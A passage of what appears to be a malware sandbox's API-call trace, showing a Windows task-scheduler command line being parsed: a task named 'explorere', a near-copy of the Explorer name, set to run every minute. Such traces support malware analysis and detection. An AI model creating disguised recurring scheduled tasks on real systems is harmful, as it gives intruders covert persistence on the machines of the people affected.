dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="xml") returned 3 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="ec") returned 2 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="rl") returned 2 [0137.392] GetThreadLocale () returned 0x409 [0137.392] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.392] lstrlenW (lpString="delay") returned 5 [0137.392] GetThreadLocale () returned 0x409 [0137.393] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0137.393] lstrlenW (lpString="np") returned 2 [0137.393] SetLastError (dwErrCode=0x0) [0137.393] SetLastError (dwErrCode=0x0) [0137.393] lstrlenW (lpString="/create") returned 7 [0137.393] lstrlenW (lpString="-/") returned 2 [0137.393] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.393] lstrlenW (lpString="create") returned 6 [0137.393] lstrlenW (lpString="create") returned 6 [0137.393] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.393] lstrlenW (lpString="create") returned 6 [0137.393] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.393] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.393] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.393] lstrlenW (lpString="|create|") returned 8 [0137.393] lstrlenW (lpString="|create|") returned 8 [0137.393] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0137.393] SetLastError (dwErrCode=0x0) [0137.393] SetLastError (dwErrCode=0x0) [0137.393] SetLastError (dwErrCode=0x0) [0137.393] lstrlenW (lpString="/tn") returned 3 [0137.393] lstrlenW (lpString="-/") returned 2 [0137.393] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.393] lstrlenW (lpString="create") returned 6 [0137.394] lstrlenW (lpString="create") returned 6 [0137.394] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.394] lstrlenW (lpString="tn") returned 2 [0137.394] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.394] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.394] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.394] lstrlenW (lpString="|create|") returned 8 [0137.394] lstrlenW (lpString="|tn|") returned 4 [0137.394] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0137.394] SetLastError (dwErrCode=0x490) [0137.394] lstrlenW (lpString="?") returned 1 [0137.394] lstrlenW (lpString="?") returned 1 [0137.394] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.394] lstrlenW (lpString="tn") returned 2 [0137.394] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.394] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|?|") returned 3 [0137.394] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.394] lstrlenW (lpString="|?|") returned 3 [0137.394] lstrlenW (lpString="|tn|") returned 4 [0137.394] SetLastError (dwErrCode=0x490) [0137.394] lstrlenW (lpString="s") returned 1 [0137.394] lstrlenW (lpString="s") returned 1 [0137.394] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.394] lstrlenW (lpString="tn") returned 2 [0137.394] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.395] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|s|") returned 3 [0137.395] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.395] lstrlenW (lpString="|s|") returned 3 [0137.395] lstrlenW (lpString="|tn|") returned 4 [0137.395] SetLastError (dwErrCode=0x490) [0137.395] lstrlenW (lpString="u") returned 1 [0137.395] lstrlenW (lpString="u") returned 1 [0137.395] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.395] lstrlenW (lpString="tn") returned 2 [0137.395] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.395] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|u|") returned 3 [0137.395] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.395] lstrlenW (lpString="|u|") returned 3 [0137.395] lstrlenW (lpString="|tn|") returned 4 [0137.395] SetLastError (dwErrCode=0x490) [0137.395] lstrlenW (lpString="p") returned 1 [0137.395] lstrlenW (lpString="p") returned 1 [0137.395] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.395] lstrlenW (lpString="tn") returned 2 [0137.395] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.395] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|p|") returned 3 [0137.395] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.395] lstrlenW (lpString="|p|") returned 3 [0137.395] lstrlenW (lpString="|tn|") returned 4 [0137.395] SetLastError (dwErrCode=0x490) [0137.395] lstrlenW (lpString="ru") returned 2 [0137.396] lstrlenW (lpString="ru") returned 2 [0137.396] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] lstrlenW (lpString="tn") returned 2 [0137.396] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ru|") returned 4 [0137.396] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.396] lstrlenW (lpString="|ru|") returned 4 [0137.396] lstrlenW (lpString="|tn|") returned 4 [0137.396] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0137.396] SetLastError (dwErrCode=0x490) [0137.396] lstrlenW (lpString="rp") returned 2 [0137.396] lstrlenW (lpString="rp") returned 2 [0137.396] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] lstrlenW (lpString="tn") returned 2 [0137.396] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|rp|") returned 4 [0137.396] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.396] lstrlenW (lpString="|rp|") returned 4 [0137.396] lstrlenW (lpString="|tn|") returned 4 [0137.396] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0137.396] SetLastError (dwErrCode=0x490) [0137.396] lstrlenW (lpString="sc") returned 2 [0137.396] lstrlenW (lpString="sc") returned 2 [0137.396] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] lstrlenW (lpString="tn") returned 2 [0137.396] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.396] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.397] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.397] lstrlenW (lpString="|sc|") returned 4 [0137.397] lstrlenW (lpString="|tn|") returned 4 [0137.397] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0137.397] SetLastError (dwErrCode=0x490) [0137.397] lstrlenW (lpString="mo") returned 2 [0137.397] lstrlenW (lpString="mo") returned 2 [0137.397] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.397] lstrlenW (lpString="tn") returned 2 [0137.397] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.397] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.397] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.397] lstrlenW (lpString="|mo|") returned 4 [0137.397] lstrlenW (lpString="|tn|") returned 4 [0137.397] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0137.397] SetLastError (dwErrCode=0x490) [0137.397] lstrlenW (lpString="d") returned 1 [0137.397] lstrlenW (lpString="d") returned 1 [0137.397] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.397] lstrlenW (lpString="tn") returned 2 [0137.397] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.397] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|d|") returned 3 [0137.397] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.397] lstrlenW (lpString="|d|") returned 3 [0137.397] lstrlenW (lpString="|tn|") returned 4 [0137.398] SetLastError (dwErrCode=0x490) [0137.398] lstrlenW (lpString="m") returned 1 [0137.398] lstrlenW (lpString="m") returned 1 [0137.398] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] lstrlenW (lpString="tn") returned 2 [0137.398] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|m|") returned 3 [0137.398] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.398] lstrlenW (lpString="|m|") returned 3 [0137.398] lstrlenW (lpString="|tn|") returned 4 [0137.398] SetLastError (dwErrCode=0x490) [0137.398] lstrlenW (lpString="i") returned 1 [0137.398] lstrlenW (lpString="i") returned 1 [0137.398] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] lstrlenW (lpString="tn") returned 2 [0137.398] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|i|") returned 3 [0137.398] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.398] lstrlenW (lpString="|i|") returned 3 [0137.398] lstrlenW (lpString="|tn|") returned 4 [0137.398] SetLastError (dwErrCode=0x490) [0137.398] lstrlenW (lpString="tn") returned 2 [0137.398] lstrlenW (lpString="tn") returned 2 [0137.398] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] lstrlenW (lpString="tn") returned 2 [0137.398] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.398] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.399] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|tn|") returned 4 [0137.399] lstrlenW (lpString="|tn|") returned 4 [0137.399] lstrlenW (lpString="|tn|") returned 4 [0137.399] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0137.399] SetLastError (dwErrCode=0x0) [0137.399] SetLastError (dwErrCode=0x0) [0137.399] lstrlenW (lpString="explorere") returned 9 [0137.399] lstrlenW (lpString="-/") returned 2 [0137.399] StrChrIW (lpStart="-/", wMatch=0x65) returned 0x0 [0137.399] SetLastError (dwErrCode=0x490) [0137.399] SetLastError (dwErrCode=0x490) [0137.399] SetLastError (dwErrCode=0x0) [0137.399] lstrlenW (lpString="explorere") returned 9 [0137.399] StrChrIW (lpStart="explorere", wMatch=0x3a) returned 0x0 [0137.399] SetLastError (dwErrCode=0x490) [0137.399] SetLastError (dwErrCode=0x0) [0137.399] lstrlenW (lpString="explorere") returned 9 [0137.399] SetLastError (dwErrCode=0x0) [0137.399] SetLastError (dwErrCode=0x0) [0137.399] lstrlenW (lpString="/sc") returned 3 [0137.399] lstrlenW (lpString="-/") returned 2 [0137.399] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.399] lstrlenW (lpString="create") returned 6 [0137.399] lstrlenW (lpString="create") returned 6 [0137.399] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.399] lstrlenW (lpString="sc") returned 2 [0137.399] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.399] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.400] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.400] lstrlenW (lpString="|create|") returned 8 [0137.400] lstrlenW (lpString="|sc|") returned 4 [0137.400] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0137.400] SetLastError (dwErrCode=0x490) [0137.400] lstrlenW (lpString="?") returned 1 [0137.400] lstrlenW (lpString="?") returned 1 [0137.400] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.400] lstrlenW (lpString="sc") returned 2 [0137.400] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.400] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|?|") returned 3 [0137.400] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.400] lstrlenW (lpString="|?|") returned 3 [0137.400] lstrlenW (lpString="|sc|") returned 4 [0137.400] SetLastError (dwErrCode=0x490) [0137.400] lstrlenW (lpString="s") returned 1 [0137.400] lstrlenW (lpString="s") returned 1 [0137.400] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.400] lstrlenW (lpString="sc") returned 2 [0137.400] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.400] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|s|") returned 3 [0137.400] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.400] lstrlenW (lpString="|s|") returned 3 [0137.400] lstrlenW (lpString="|sc|") returned 4 [0137.400] SetLastError (dwErrCode=0x490) [0137.400] lstrlenW (lpString="u") returned 1 [0137.400] lstrlenW (lpString="u") returned 1 [0137.400] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] lstrlenW (lpString="sc") returned 2 [0137.401] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|u|") returned 3 [0137.401] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.401] lstrlenW (lpString="|u|") returned 3 [0137.401] lstrlenW (lpString="|sc|") returned 4 [0137.401] SetLastError (dwErrCode=0x490) [0137.401] lstrlenW (lpString="p") returned 1 [0137.401] lstrlenW (lpString="p") returned 1 [0137.401] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] lstrlenW (lpString="sc") returned 2 [0137.401] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|p|") returned 3 [0137.401] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.401] lstrlenW (lpString="|p|") returned 3 [0137.401] lstrlenW (lpString="|sc|") returned 4 [0137.401] SetLastError (dwErrCode=0x490) [0137.401] lstrlenW (lpString="ru") returned 2 [0137.401] lstrlenW (lpString="ru") returned 2 [0137.401] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] lstrlenW (lpString="sc") returned 2 [0137.401] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.401] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ru|") returned 4 [0137.401] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.401] lstrlenW (lpString="|ru|") returned 4 [0137.401] lstrlenW (lpString="|sc|") returned 4 [0137.402] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0137.402] SetLastError (dwErrCode=0x490) [0137.402] lstrlenW (lpString="rp") returned 2 [0137.402] lstrlenW (lpString="rp") returned 2 [0137.402] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.402] lstrlenW (lpString="sc") returned 2 [0137.402] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.402] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|rp|") returned 4 [0137.402] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.402] lstrlenW (lpString="|rp|") returned 4 [0137.402] lstrlenW (lpString="|sc|") returned 4 [0137.402] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0137.402] SetLastError (dwErrCode=0x490) [0137.402] lstrlenW (lpString="sc") returned 2 [0137.402] lstrlenW (lpString="sc") returned 2 [0137.402] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.402] lstrlenW (lpString="sc") returned 2 [0137.402] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.402] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.402] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|sc|") returned 4 [0137.402] lstrlenW (lpString="|sc|") returned 4 [0137.402] lstrlenW (lpString="|sc|") returned 4 [0137.402] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0137.402] SetLastError (dwErrCode=0x0) [0137.402] SetLastError (dwErrCode=0x0) [0137.402] lstrlenW (lpString="MINUTE") returned 6 [0137.402] lstrlenW (lpString="-/") returned 2 [0137.402] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0137.402] SetLastError (dwErrCode=0x490) [0137.403] SetLastError (dwErrCode=0x490) [0137.403] SetLastError (dwErrCode=0x0) [0137.403] lstrlenW (lpString="MINUTE") returned 6 [0137.403] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0137.403] SetLastError (dwErrCode=0x490) [0137.403] SetLastError (dwErrCode=0x0) [0137.403] GetProcessHeap () returned 0x250000 [0137.403] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0x18) returned 0x26d560 [0137.403] _memicmp (_Buf1=0x26d560, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.403] lstrlenW (lpString="MINUTE") returned 6 [0137.403] GetProcessHeap () returned 0x250000 [0137.403] RtlAllocateHeap (HeapHandle=0x250000, Flags=0xc, Size=0xe) returned 0x26d580 [0137.403] lstrlenW (lpString="MINUTE") returned 6 [0137.403] lstrlenW (lpString=" \x09") returned 2 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0137.403] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0137.403] GetLastError () returned 0x0 [0137.403] lstrlenW (lpString="MINUTE") returned 6 [0137.403] lstrlenW (lpString="MINUTE") returned 6 [0137.403] SetLastError (dwErrCode=0x0) [0137.403] SetLastError (dwErrCode=0x0) [0137.403] lstrlenW (lpString="/mo") returned 3 [0137.403] lstrlenW (lpString="-/") returned 2 [0137.403] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0137.403] lstrlenW (lpString="create") returned 6 [0137.403] lstrlenW (lpString="create") returned 6 [0137.404] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] lstrlenW (lpString="mo") returned 2 [0137.404] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|create|") returned 8 [0137.404] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.404] lstrlenW (lpString="|create|") returned 8 [0137.404] lstrlenW (lpString="|mo|") returned 4 [0137.404] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0137.404] SetLastError (dwErrCode=0x490) [0137.404] lstrlenW (lpString="?") returned 1 [0137.404] lstrlenW (lpString="?") returned 1 [0137.404] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] lstrlenW (lpString="mo") returned 2 [0137.404] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|?|") returned 3 [0137.404] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.404] lstrlenW (lpString="|?|") returned 3 [0137.404] lstrlenW (lpString="|mo|") returned 4 [0137.404] SetLastError (dwErrCode=0x490) [0137.404] lstrlenW (lpString="s") returned 1 [0137.404] lstrlenW (lpString="s") returned 1 [0137.404] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] lstrlenW (lpString="mo") returned 2 [0137.404] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.404] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|s|") returned 3 [0137.404] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.404] lstrlenW (lpString="|s|") returned 3 [0137.405] lstrlenW (lpString="|mo|") returned 4 [0137.405] SetLastError (dwErrCode=0x490) [0137.405] lstrlenW (lpString="u") returned 1 [0137.405] lstrlenW (lpString="u") returned 1 [0137.405] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.405] lstrlenW (lpString="mo") returned 2 [0137.405] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.405] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|u|") returned 3 [0137.405] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.405] lstrlenW (lpString="|u|") returned 3 [0137.405] lstrlenW (lpString="|mo|") returned 4 [0137.405] SetLastError (dwErrCode=0x490) [0137.405] lstrlenW (lpString="p") returned 1 [0137.405] lstrlenW (lpString="p") returned 1 [0137.405] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.405] lstrlenW (lpString="mo") returned 2 [0137.405] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.405] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|p|") returned 3 [0137.405] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.405] lstrlenW (lpString="|p|") returned 3 [0137.405] lstrlenW (lpString="|mo|") returned 4 [0137.405] SetLastError (dwErrCode=0x490) [0137.405] lstrlenW (lpString="ru") returned 2 [0137.405] lstrlenW (lpString="ru") returned 2 [0137.405] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.405] lstrlenW (lpString="mo") returned 2 [0137.405] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.406] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|ru|") returned 4 [0137.406] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.406] lstrlenW (lpString="|ru|") returned 4 [0137.406] lstrlenW (lpString="|mo|") returned 4 [0137.406] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0137.406] SetLastError (dwErrCode=0x490) [0137.406] lstrlenW (lpString="rp") returned 2 [0137.406] lstrlenW (lpString="rp") returned 2 [0137.406] _memicmp (_Buf1=0x26c1e0, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.406] lstrlenW (lpString="mo") returned 2 [0137.406] _memicmp (_Buf1=0x26c220, _Buf2=0xffeb1b08, _Size=0x7) returned 0 [0137.406] _vsnwprintf (in: _Buffer=0x26c260, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|rp|") returned 4 [0137.406] _vsnwprintf (in: _Buffer=0x26c240, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc628 | out: _Buffer="|mo|") returned 4 [0137.406] lstrlenW (lpString="|rp|") returned 4 [0137.406] lstrlenW (lpString="|mo|") returned 4 [0137.406] StrStrIW 